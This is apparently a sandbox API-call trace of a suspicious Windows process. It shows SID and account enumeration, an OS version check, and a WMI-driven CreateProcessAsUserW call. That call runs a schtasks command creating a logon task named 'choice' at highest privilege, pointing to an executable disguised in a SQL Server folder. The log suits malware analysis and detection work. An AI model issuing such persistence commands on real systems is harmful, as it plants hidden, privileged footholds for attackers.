(_Block=0xef020) [0063.914] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0063.914] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0063.914] malloc (_Size=0x18) returned 0xef020 [0063.914] malloc (_Size=0x18) returned 0xeef00 [0063.914] SysStringLen (param_1="S-1-5-21") returned 0x8 [0063.914] SysStringLen (param_1="-") returned 0x1 [0063.914] memcpy (in: _Dst=0x3811a8, _Src=0x35e9f8, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0063.914] memcpy (in: _Dst=0x3811b8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0063.914] free (_Block=0xef040) [0063.915] free (_Block=0xef020) [0063.915] malloc (_Size=0x18) returned 0xef020 [0063.915] malloc (_Size=0x18) returned 0xef040 [0063.915] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0063.915] SysStringLen (param_1="4219442223") returned 0xa [0063.915] memcpy (in: _Dst=0x337a58, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0063.915] memcpy (in: _Dst=0x337a6a, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0063.915] free (_Block=0xeef00) [0063.915] free (_Block=0xef020) [0063.915] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0063.915] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0063.915] malloc (_Size=0x18) returned 0xef020 [0063.915] malloc (_Size=0x18) returned 0xeef00 [0063.915] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0063.915] SysStringLen (param_1="-") returned 0x1 [0063.915] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0063.915] memcpy (in: _Dst=0x33838e, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0063.915] free (_Block=0xef040) [0063.916] free (_Block=0xef020) [0063.916] malloc (_Size=0x18) returned 0xef020 [0063.916] malloc (_Size=0x18) returned 0xef040 [0063.916] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0063.916] SysStringLen (param_1="4223814209") returned 0xa [0063.916] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0063.916] memcpy (in: _Dst=0x34da90, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0063.916] free (_Block=0xeef00) [0063.916] free (_Block=0xef020) [0063.916] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0063.916] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0063.916] malloc (_Size=0x18) returned 0xef020 [0063.916] malloc (_Size=0x18) returned 0xeef00 [0063.916] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0063.916] SysStringLen (param_1="-") returned 0x1 [0063.916] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0063.916] memcpy (in: _Dst=0x34dbb4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0063.916] free (_Block=0xef040) [0063.916] free (_Block=0xef020) [0063.917] malloc (_Size=0x18) returned 0xef020 [0063.917] malloc (_Size=0x18) returned 0xef040 [0063.917] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0063.917] SysStringLen (param_1="3835049652") returned 0xa [0063.917] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0063.917] memcpy (in: _Dst=0x34daa6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0063.917] free (_Block=0xeef00) [0063.917] free (_Block=0xef020) [0063.917] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0063.917] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0063.917] malloc (_Size=0x18) returned 0xef020 [0063.917] malloc (_Size=0x18) returned 0xeef00 [0063.917] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0063.917] SysStringLen (param_1="-") returned 0x1 [0063.917] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0063.917] memcpy (in: _Dst=0x34dbca, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0063.917] free (_Block=0xef040) [0063.917] free (_Block=0xef020) [0063.917] malloc (_Size=0x18) returned 0xef020 [0063.918] malloc (_Size=0x18) returned 0xef040 [0063.918] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0063.918] SysStringLen (param_1="1000") returned 0x4 [0063.918] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0063.918] memcpy (in: _Dst=0x34dabc, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0063.918] free (_Block=0xeef00) [0063.918] free (_Block=0xef020) [0063.918] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0063.918] malloc (_Size=0x5e) returned 0xf0800 [0063.918] free (_Block=0xef040) [0063.918] malloc (_Size=0x18) returned 0xef040 [0063.919] free (_Block=0xf0800) [0063.919] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0063.920] GetLastError () returned 0x7a [0063.920] malloc (_Size=0x14) returned 0xef020 [0063.920] malloc (_Size=0x16) returned 0xeef00 [0063.920] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0063.920] malloc (_Size=0x18) returned 0xeef60 [0063.920] malloc (_Size=0x18) returned 0xef0a0 [0063.920] free (_Block=0xef020) [0063.920] free (_Block=0xeef00) [0063.921] free (_Block=0xeff30) [0063.921] free (_Block=0xef0a0) [0063.921] free (_Block=0xeef60) [0063.946] free (_Block=0xef040) [0063.946] free (_Block=0xee200) [0063.947] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0063.947] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0063.947] GetLastError () returned 0x7a [0063.947] malloc (_Size=0x2c) returned 0xee240 [0063.947] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0063.947] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.947] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0063.947] malloc (_Size=0x1c) returned 0xeff30 [0063.947] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.947] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0063.947] malloc (_Size=0x18) returned 0xef040 [0063.947] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0063.947] malloc (_Size=0x18) returned 0xeef60 [0063.947] malloc (_Size=0x18) returned 0xef0a0 [0063.947] SysStringLen (param_1="S-1-") returned 0x4 [0063.947] SysStringLen (param_1="5") returned 0x1 [0063.947] memcpy (in: _Dst=0x35e9f8, _Src=0x381268, _Size=0xa | out: _Dst=0x35e9f8) returned 0x35e9f8 [0063.948] memcpy (in: _Dst=0x35ea00, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x35ea00) returned 0x35ea00 [0063.948] free (_Block=0xef040) [0063.948] free (_Block=0xeef60) [0063.948] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0063.948] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0063.948] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0063.948] malloc (_Size=0x18) returned 0xeef60 [0063.948] malloc (_Size=0x18) returned 0xef040 [0063.948] SysStringLen (param_1="S-1-5") returned 0x5 [0063.948] SysStringLen (param_1="-") returned 0x1 [0063.948] memcpy (in: _Dst=0x3811a8, _Src=0x35e9f8, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0063.948] memcpy (in: _Dst=0x3811b2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0063.948] free (_Block=0xef0a0) [0063.948] free (_Block=0xeef60) [0063.948] malloc (_Size=0x18) returned 0xeef60 [0063.948] malloc (_Size=0x18) returned 0xef0a0 [0063.948] SysStringLen (param_1="S-1-5-") returned 0x6 [0063.948] SysStringLen (param_1="21") returned 0x2 [0063.948] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0063.948] memcpy (in: _Dst=0x381274, _Src=0x35e9f8, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0063.949] free (_Block=0xef040) [0063.949] free (_Block=0xeef60) [0063.949] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0063.949] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0063.949] malloc (_Size=0x18) returned 0xeef60 [0063.949] malloc (_Size=0x18) returned 0xef040 [0063.949] SysStringLen (param_1="S-1-5-21") returned 0x8 [0063.949] SysStringLen (param_1="-") returned 0x1 [0063.949] memcpy (in: _Dst=0x35e9f8, _Src=0x381268, _Size=0x12 | out: _Dst=0x35e9f8) returned 0x35e9f8 [0063.949] memcpy (in: _Dst=0x35ea08, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x35ea08) returned 0x35ea08 [0063.949] free (_Block=0xef0a0) [0063.949] free (_Block=0xeef60) [0063.949] malloc (_Size=0x18) returned 0xeef60 [0063.949] malloc (_Size=0x18) returned 0xef0a0 [0063.949] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0063.949] SysStringLen (param_1="4219442223") returned 0xa [0063.949] memcpy (in: _Dst=0x337a58, _Src=0x35e9f8, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0063.949] memcpy (in: _Dst=0x337a6a, _Src=0x381268, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0063.949] free (_Block=0xef040) [0063.950] free (_Block=0xeef60) [0063.950] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0063.950] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0063.950] malloc (_Size=0x18) returned 0xeef60 [0063.950] malloc (_Size=0x18) returned 0xef040 [0063.950] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0063.950] SysStringLen (param_1="-") returned 0x1 [0063.950] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0063.950] memcpy (in: _Dst=0x33838e, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0063.950] free (_Block=0xef0a0) [0063.950] free (_Block=0xeef60) [0063.950] malloc (_Size=0x18) returned 0xeef60 [0063.950] malloc (_Size=0x18) returned 0xef0a0 [0063.950] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0063.950] SysStringLen (param_1="4223814209") returned 0xa [0063.950] memcpy (in: _Dst=0x34db78, _Src=0x338368, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0063.950] memcpy (in: _Dst=0x34dba0, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0063.950] free (_Block=0xef040) [0063.950] free (_Block=0xeef60) [0063.950] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0063.951] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0063.951] malloc (_Size=0x18) returned 0xeef60 [0063.951] malloc (_Size=0x18) returned 0xef040 [0063.951] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0063.951] SysStringLen (param_1="-") returned 0x1 [0063.951] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0063.951] memcpy (in: _Dst=0x34daa4, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0063.951] free (_Block=0xef0a0) [0063.951] free (_Block=0xeef60) [0063.951] malloc (_Size=0x18) returned 0xeef60 [0063.951] malloc (_Size=0x18) returned 0xef0a0 [0063.951] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0063.951] SysStringLen (param_1="3835049652") returned 0xa [0063.951] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0063.951] memcpy (in: _Dst=0x34dbb6, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0063.951] free (_Block=0xef040) [0063.951] free (_Block=0xeef60) [0063.951] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0063.951] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0063.952] malloc (_Size=0x18) returned 0xeef60 [0063.952] malloc (_Size=0x18) returned 0xef040 [0063.952] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0063.952] SysStringLen (param_1="-") returned 0x1 [0063.952] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0063.952] memcpy (in: _Dst=0x34daba, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0063.952] free (_Block=0xef0a0) [0063.952] free (_Block=0xeef60) [0063.952] malloc (_Size=0x18) returned 0xeef60 [0063.952] malloc (_Size=0x18) returned 0xef0a0 [0063.952] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0063.952] SysStringLen (param_1="1000") returned 0x4 [0063.952] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0063.952] memcpy (in: _Dst=0x34dbcc, _Src=0x35e9f8, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0063.953] free (_Block=0xef040) [0063.953] free (_Block=0xeef60) [0063.953] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0063.953] malloc (_Size=0x5e) returned 0xf0800 [0063.953] free (_Block=0xef0a0) [0063.953] malloc (_Size=0x18) returned 0xef0a0 [0063.953] free (_Block=0xf0800) [0063.954] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0063.954] GetLastError () returned 0x7a [0063.954] malloc (_Size=0x14) returned 0xeef60 [0063.954] malloc (_Size=0x16) returned 0xef040 [0063.954] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0063.955] malloc (_Size=0x18) returned 0xeef00 [0063.955] malloc (_Size=0x18) returned 0xef020 [0063.955] free (_Block=0xeef60) [0063.955] free (_Block=0xef040) [0063.955] free (_Block=0xeff30) [0063.955] free (_Block=0xef020) [0063.956] free (_Block=0xeef00) [0063.956] free (_Block=0xef0a0) [0063.956] free (_Block=0xee240) [0063.957] malloc (_Size=0x48) returned 0xed2c0 [0063.957] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0063.995] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0063.995] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0063.995] malloc (_Size=0x18) returned 0xef0a0 [0063.995] CreateEnvironmentBlock () returned 0x1 [0064.001] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0064.001] malloc (_Size=0x18) returned 0xeef00 [0064.001] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"choice\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"choice\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf3c, dwThreadId=0xf40)) returned 1 [0064.006] CloseHandle (hObject=0x2fc) returned 1 [0064.007] CloseHandle (hObject=0x248) returned 1 [0064.007] free (_Block=0xeef00) [0064.007] DestroyEnvironmentBlock () returned 0x1 [0064.007] malloc (_Size=0x48) returned 0xed400 [0064.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4f3b2780, dwHighDateTime=0x1d9eb0c)) [0064.007] SetEvent (hEvent=0x1f0) returned 1 [0064.007] CloseHandle (hObject=0x238) returned 1 [0064.008] CloseHandle (hObject=0x244) returned 1 [0064.131] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0064.131] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0064.131] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0064.531] SetLastError (dwErrCode=0x0) [0064.531] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0064.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0064.532] SetLastError (dwErrCode=0x0) [0064.532] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0064.532] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0064.532] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0064.532] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0064.532] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0064.532] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0064.533] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0064.534] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0064.534] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0064.534] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0064.534] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0064.534] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0064.534] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0064.536] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0064.536] GetCurrentThread () returned 0xfffffffffffffffe [0064.536] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0064.536] malloc (_Size=0xd8) returned 0xf3750 [0064.536] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0064.537] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0064.537] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0064.537] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0064.537] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0064.537] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0064.538] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 